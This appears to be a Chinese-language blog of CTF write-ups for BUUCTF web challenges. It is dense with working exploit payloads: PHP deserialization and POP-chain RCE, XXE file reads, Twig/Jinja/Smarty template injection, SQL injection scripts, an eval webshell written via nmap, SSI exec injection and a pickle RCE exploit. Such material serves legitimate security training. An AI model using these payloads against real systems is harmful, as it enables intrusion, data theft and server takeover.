header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|'|"|`|;|,|*|?|\|\\|n|t|r|xA0|{|}|(|)|&[^d]|@|||\$|[|]|{|}|(|)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
MD5强类型比较,找MD5一样的就行
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
cmd用绕过
cmd=cat /flag
[网鼎杯 2020 朱雀组]phpweb
打开题目发现输出了当前时间,抓包看看
发现两个参数,应该是调用了call_user_func
,那尝试读一下源码
func=file_get_contents&p=index.php
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
可以反序列化执行命令
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}
居然没有flag文件,那搜一下flag在哪
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:17:"find / -name fla*";s:4:"func";s:6:"system";}
好家伙,藏在这里,读flag
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}
[De1CTF 2019]SSRF Me(不会)
python的flask,看不懂,不会
[NCTF2019]Fake XML cookbook
最简单的xxe
抓包,增加外部实体
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///../../../../flag"> ]>
<user><username>&goodies;</username><password>123456</password></user>
[ASIS 2019]Unicorn shop
unicode编码安全
买4号马就能得到flag,但只能输入一个字符,找个大于1337的unicode字符就行,比如ↈ
(代表100000)
实际上中文的万,亿,兆也都可以
[BJDCTF2020]Cookie is so stable
输入7*7,发现回显为49,应该是Twig的模板注入(Jinja的话为7777777),登陆后抓包,发现user在cookie处,根据提示,注入点为cookie处
根据这篇文章的payload拿flag
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
[CISCN 2019 初赛]Love Math
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', 't', 'r', 'n',''', '"', '`', '[', ']'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_x7f-xff][a-zA-Z_0-9x7f-xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
我们想要的结果
c=system('cat /flag')
但要绕过函数名的限制
利用php中字符串加上括号可被当作函数执行的特性
c=$_GET[a]($_GET[b])&a=system&b=cat /flag
所以现在得想办法构造_GET,下面要用到这些函数
base_convert
进制转换
dechex
10进制转16进制
hex2bin
16进制转字符串
但我们没有hex2bin函数,需要构造
base_convert(37907361743,10,36)=>hex2bin //把10进制的37907361743转为36进制,即为hex2bin
dechex(1598506324)=>"5f474554"
hex2bin("5f474554")=>_GET
即这么一串等于_GET
base_convert(37907361743,10,36)(dechex(1598506324))
然后将这串保存到一个白名单变量中以防太长,同时用{}代替[]
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{pi}($$pi{abs})
分号后面那串就等于$_GET{pi}($_GET{abs})
最终payload:
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{pi}($$pi{abs})&pi=system&abs=cat /flag
yu师傅的wp
[BSidesCF 2020]Had a bad day
尝试php伪协议读文件,发现去掉php后缀可以成功
?category=php://filter/read=convert.base64-encode/resource=index
<?php
$file = $_GET['category'];
if(isset($file)){
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
发现只有参数中带有woofers,meowers,index就可以包含
这里有个知识点,php伪协议可以套一层协议,比如convert.base64-encode/index/resource
所以可以这样
?category=php://filter/read=convert.base64-encode/index/resource=flag
或者还可以
?category=php://filter/read=convert.base64-encode/index/resource=index/../flag
[SUCTF 2019]Pythonginx
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"
前面看的不是很懂,只知道前面两个if不能是suctf.cc,然后经过encode('idna').decode('utf-8')
要等于suctf.cc
大佬的脚本
from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():
for x in range(65536):
uni=chr(x)
url="http://suctf.c{}".format(uni)
try:
if getUrl(url):
print("str: "+uni+' unicode: \u'+str(hex(x))[2:])
except:
pass
def getUrl(url):
url=url
host=parse.urlparse(url).hostname
if host == 'suctf.cc':
return False
parts=list(urlsplit(url))
host=parts[1]
if host == 'suctf.cc':
return False
newhost=[]
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1]='.'.join(newhost)
finalUrl=urlunsplit(parts).split(' ')[0]
host=parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return True
else:
return False
if __name__=='__main__':
get_unicode()
随便找个代替c就行,然后访问/etc/passwd发现成功
file://suctf.cⓒ/../../../../../etc/passwd
然后联系题目,访问nginx的配置文件,目录为usr/local/nginx/conf/nginx.conf
file://suctf.cⓒ/../../../../../usr/local/nginx/conf/nginx.conf
读取flag
file://suctf.cⓒ/../../../../../usr/fffffflag
[安洵杯 2019]easy_serialize_php
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
看到题目将敏感字符串替换为空,肯定是反序列化字符串逃逸,唉,每次这种题目,我小小的脑瓜子不转个一两个小时根本构造不出来。
先去phpinfo看一下
看到extract($_POST)
,意味着可以变量覆盖,可以传的参数_SESSION[user],_SESSION[function]
我们需要base64_decode($userinfo['img'])=d0g3_f1ag.php
,也就是$userinfo['img']=ZDBnM19mMWFnLnBocA==
,但没法控制img参数,所以要通过反序列化字符串逃逸来达到想要的结果。
class _SESSION{
public $user = 'flagflagflagflagflagflag';
public $function = 'x";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==';
}
$p=new _SESSION();
echo serialize($p);
$serialize_info = filter(serialize($p));
echo "n";
echo $serialize_info;
这样在经过替换后吃掉了function的值,成功将img的值修改成了ZDBnM19mMWFnLnBocA==
,但此时只有两个参数,而题目有个,所以还要加一个
class _SESSION{
public $user = 'flagflagflagflagflagflag';
public $function = 'x";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:1:"a";}';
}
$p=new _SESSION();
echo serialize($p);
$serialize_info = filter(serialize($p));
echo "n";
echo $serialize_info;
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=x";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:1:"a";}
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=x";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:1:"a";s:1:"a";}
还要一种payload
_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
这样序列化后经过替换结果为
"a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mbGxsbGxsYWc=";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
[0CTF 2016]piapiapia
又是php反序列化字符串逃逸~
开局一个登陆框,没有注入,尝试访问register.php,发现可以,注册后登陆,可以填写信息,查看信息。
其实题目源码泄露,www.zip即可下载源码。
审计后发现以下关键代码
//class.php
public function filter($string) {
$escape = array(''', '\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string)
//profile.php
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
//update.php
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
我们的最终目的是要通过file_get_contents来读取config.php获得flag,而想让photo=config.php需要通过php反序列化字符串逃逸来完成。
首先nickname的长度限制用数组绕过,然后需要逃逸的字符是";}s:5:"photo";s:10:"config.php";}
(因为nickname为数组了,所以要加一个}
),共34个,一个where替换成hacker会多出一个字符,也就是要34个where
解密得到flag
[WesternCTF2018]shrine
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
模板注入,注入点在/shrine/{{}}
config中应该有flag,但没法直接读取config
可以先读取一波当前位置的全部全局变量
/shrine/{{url_for.__globals__}}
发现有current_app
查看current_app的config即可得到flag
/shrine/{{url_for.__globals__['current_app'].config}}
[SWPU2019]Web1
sql注入,注入点在广告名处而不是id处,并且有22个字段。。。
过滤了order by,可用group by代替
1'group/**/by/**/22,'1
-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
-1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
过滤了information,参考这里,可以用sys.schema_auto_increment_columns
或者schema_table_statistics_with_buffer
来代替information_schema.tables
,但buu上不行,只能无列名注入
不过mysql.innodb_table_stats
倒是可以
-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name='web1'),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
无列名注入如下图所示
查列得到flag
//将user表的原本的3列名字变成了1,2,3,将第3列别名为b,然后查询b列
-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
这里有几列可以慢慢试过去,不对会报错,而flag在哪列同样一个个试过去
[WUSTCTF2020]朴实无华
robots.txt里看一下,果然有东西fAke_f1agggg.php
,虽然是假的flag,但响应头暗藏玄机
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>
第一层intval绕过很好绕,科学计数法就行
num=2010e2
第二层有点难搞,因为是弱比较所以'0e12345'
和'0e11111'
这种是相等的,也就是要找一个0e
开头的数,md5后也是0e
开头。(我自己没搜到,太菜了。。。)
md5=0e215962017
第三层就简单了,${IFS}
代替空格,tac
代替cat
,直接读flag
get_flag=tac${IFS}f*
[网鼎杯 2020 朱雀组]Nmap
又是nmap,跟之前[BUUCTF 2018]Online Tool这题很像,直接用那个payload试试看
' <?php @eval($_POST["cmd"]);?> -oG shell.php '
发现过滤了php,改用短标签和phtml后缀
' <?=@eval($_POST["cmd"]);?> -oG shell.phtml '
访问shell.phtml,发现成功写入,直接读flag
[MRCTF2020]PYWebsite
打开网页源码发现flag.php,但没有flag
尝试加个xff头
就这?
[极客大挑战 2019]FinalSQL
根据题目,盲注没错了
对照着写了个二分法的脚本
import requests
url = 'http://c4eb39fc-5e90-4165-9a11-5d9f7513cce5.node3.buuoj.cn/search.php'
flag = ''
payload = {
'id':''
}
for i in range(1,300):
left = 1
right = 127
mid=int((left+right)/2)
while(left<right):
#payload['id'] = '1^(ascii(substr(database(),%d,1))<%d)'%(i,mid)
#payload['id'] = '1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema="geek")),%d,1))<%d)'%(i,mid)
#payload['id'] = '1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="F1naI1y")),%d,1))<%d)'%(i,mid)
payload['id'] = '1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))<%d)'%(i,mid)
r = requests.get(url=url,params=payload)
if 'NO' in r.text:
left=mid+1
else:
right=mid
mid=int((left+right)/2)
flag+=chr(mid-1)
print(flag)
这题flag放的地方有点坑,不在Flaaaaag表中,而在F1naI1y表的password中,并且这个password的值还巨多,这我要是没用二分法估计得跑半小时。
[NPUCTF2020]ReadlezPHP
ctrl+u发现time.php
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
尝试反序列化命令执行,发现system被禁了,eval也不行,assert到是可以,查看phpinfo发现flag
?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
感觉这题挺没意思的
[BJDCTF2020]EasySearch
源码泄露,index.php.swp
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}else
{
***
}
***
首先需要password经过md5加密后前几位等于6d0bc1
import hashlib
for i in range(1,10000000000):
password = hashlib.md5(str(i).encode('utf-8')).hexdigest()
if password[0:6]=='6d0bc1':
print(i)
print(password)
break
password=2020666
然后是SSI注入漏洞,这就涉及到我的知识盲区了
服务器端包含注入SSI分析总结
SSI是英文"Server Side Includes"的缩写,翻译成中文就是服务器端包含的意思。
SSI是嵌入HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。
从技术角度上来说,SSI就是在HTML文件中,可以通过注释行调用的命令或指针,即允许通过在HTML页面注入脚本或远程执行任意代码。
因为登入后抓包发现一个url,是shtml后缀,里面可能存在ssi指令,尝试ssi注入,注入点在username处
使用exec指令,使用cmd作为参数执行服务器端命令:<!--#exec cmd="ls"-->
flag在上级目录
username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->
然后访问给的url就有flag
[MRCTF2020]Ezpop
<?php
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|../i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
妈的,稍微难一点就屁都不会了,难顶~
首先看一下要用到的魔术方法
__get() //用于从不可访问(或不存在)的属性读取数据
__invoke() //当尝试将对象调用为函数时触发
__toString() //把类当作字符串使用时触发
例:
<?php
class Name{
public $username = 'admin';
public $password = 100;
public function __invoke(){
echo '你把对象当函数调用了!';
}
}
$p = new Name();
$p();
?>
//输出:你把对象当函数调用了!
<?php
class test{
public $username = 'xiaolong';
public function __get($a){
echo '你在调用不可达的属性或不存在的属性!';
}
}
$p = new test();
$p->password;
?>
//输出:你在调用不可达的属性或不存在的属性!
<?php
class xiaolong{
public $test;
public function __toString(){
return '你在把类当作字符串使用!';
}
}
$a = new xiaolong();
echo $a;
?>
//输出:你在把类当作字符串使用!
回到题目
我们最终是要利用include来读取flag,这需要触发__invoke
来实现,也就是要将一个对象当函数调用,正好在Test类中的__get
方法中有这么两行代码
public function __get($key){
$function = $this->p;
return $function();
}
那么只要 $this->p=new Modifier()
就能触发__invoke
了
而想要触发__get
就要访问不可达或不存在的属性,又正好在Show类中的__toString
方法有这么一行
public function __toString(){
return $this->str->source;
}
只要$this->str=new Test()
,而Test类中没有source
属性,这样就能触发__get
了
那要怎么触发__toString
呢?Show还有这么两行
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
也就是只要$this->source=new Show()
就能触发__toString
了
注意,因为Modifier类中有protected
属性,序列化后有不可见字符%00
,提交时要手动加上,或者直接把最终payload进行url编码
<?php
class Modifier {
protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|../i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
$a = new Test();
$a->p = new Modifier();
//触发__invoke
$b = new Show();
$b->str = $a;
//触发__get
$c = new Show();
$c->source = $b;
//触发__toString
echo urlencode(serialize($c));
?>
?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A9%3A%22index.php%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
由MRCTF2020学习反序列化POP链
[NCTF2019]True XML cookbook
首先跟之前那题一样,可以任意文件读取,但没有flag,可以php伪协议读取doLogin.php,但没啥用
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/doLogin.php"> ]>
<user><username>&goodies;</username><password>123456</password></user>
接下来需要的是xxe打内网
要读取/etc/host,查看存活主机
然后
???为什么跟wp不一样,ip地址呢?
其实还有一个关键文件,/proc/net/arp
(可能我后面爆破的原因,有这么多ip,一开始就一个10.0.212.28.xx,忘了是哪个。。。)
然后爆破c端,找到flag,在10.0.212.11
没搞懂/etc/host和/proc/net/arp的区别,希望有大佬能解答一下~
[GYCTF2020]FlaskApp
结合题目,测试后发现在解密处存在ssti,
简单fuzz后发现过滤了flag,os,eval
可以用如下命令读取app.py
{{url_for.__globals__.__builtins__.open('app.py').read()}}
发现黑名单
black_list = ["flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"]
可以字符串拼接来绕过
{{url_for.__globals__['o'+'s']['pop'+'en']('ls /').read()}}
e3t1cmxfZm9yLl9fZ2xvYmFsc19fWydvJysncyddWydwb3AnKydlbiddKCdscyAvJykucmVhZCgpfX0=
找到flag
读取flag
{{url_for.__globals__['o'+'s']['pop'+'en']('cat /this_is_the_fla'+'g.txt').read()}}
e3t1cmxfZm9yLl9fZ2xvYmFsc19fWydvJysncyddWydwb3AnKydlbiddKCdjYXQgL3RoaXNfaXNfdGhlX2ZsYScrJ2cudHh0JykucmVhZCgpfX0=
[CISCN2019 华北赛区 Day1 Web2]ikun
题目要求买lv6,翻了几页没看见,写个脚本跑一下
import requests
url = 'http://afdaf66c-c95a-4d7f-80da-6d149e896787.node3.buuoj.cn/shop'
payload = {
'page' : 1
}
for i in range(1,200):
payload['page'] = i
r = requests.get(url,params=payload)
if 'lv6.png' in r.text:
print(i)
break
最终发现在181页,但发现钱不够,抓包将折扣改成0.000000008
然后提示要admin,再仔细看了下,http头中有jwt,放到这个网站看一下,是hs256加密,用c-jwt-cracker
破解key
构造jwt
替换jwt后发现成功成为admin,在网页源码中发现www.zip,下载
然后就是python反序列化,没接触过,研究完后再回来做~
更新
利用点在admin.py
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib
class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')
@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)
post接收一个参数become,在勇pickle进行反序列化后返回渲染模板
因此这里可以用pickl的反序列化漏洞
exp
import pickle
import urllib
class A(object):
def __reduce__(self):
return (eval, ("__import__('os').popen('cat /flag.txt').read()",))
a = pickle.dumps(A())
a = urllib.quote(a)
print(a)
注意要用py2
抓包修改become的值
[CISCN2019 华东南赛区]Web11
题目页面中的Build With Smarty
是重点,说明用了smarty模板,猜测是模板注入
题目会检测ip,加个xff头发现注入点在xff头
没接触过smarty,搜一下语法,发现可以执行php函数
smarty中调用php内置函数
读取flag
X-Forwarded-For: {'cat /flag'|system}
看到别的师傅写的一些smarty常用payload
{if phpinfo()}{/if}
{if system('ls')}{/if}
{ readfile('/flag') }
{if show_source('/flag')}{/if}
{if system('cat ../../../flag')}{/if}
[CISCN2019 华北赛区 Day1 Web1]Dropbox
登陆后随便上传一个图片,发现可以下载和删除,猜测可以任意文件下载
抓包,filename改为/etc/passwd
但没法下载其他文件,看wp才知道要chdir() 现实目录跳跃filename=../../index.php
可以下载class.php,delete.php,download.php,index.php,upload.php
不过有用的就class.php和delete.php
//class.php
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
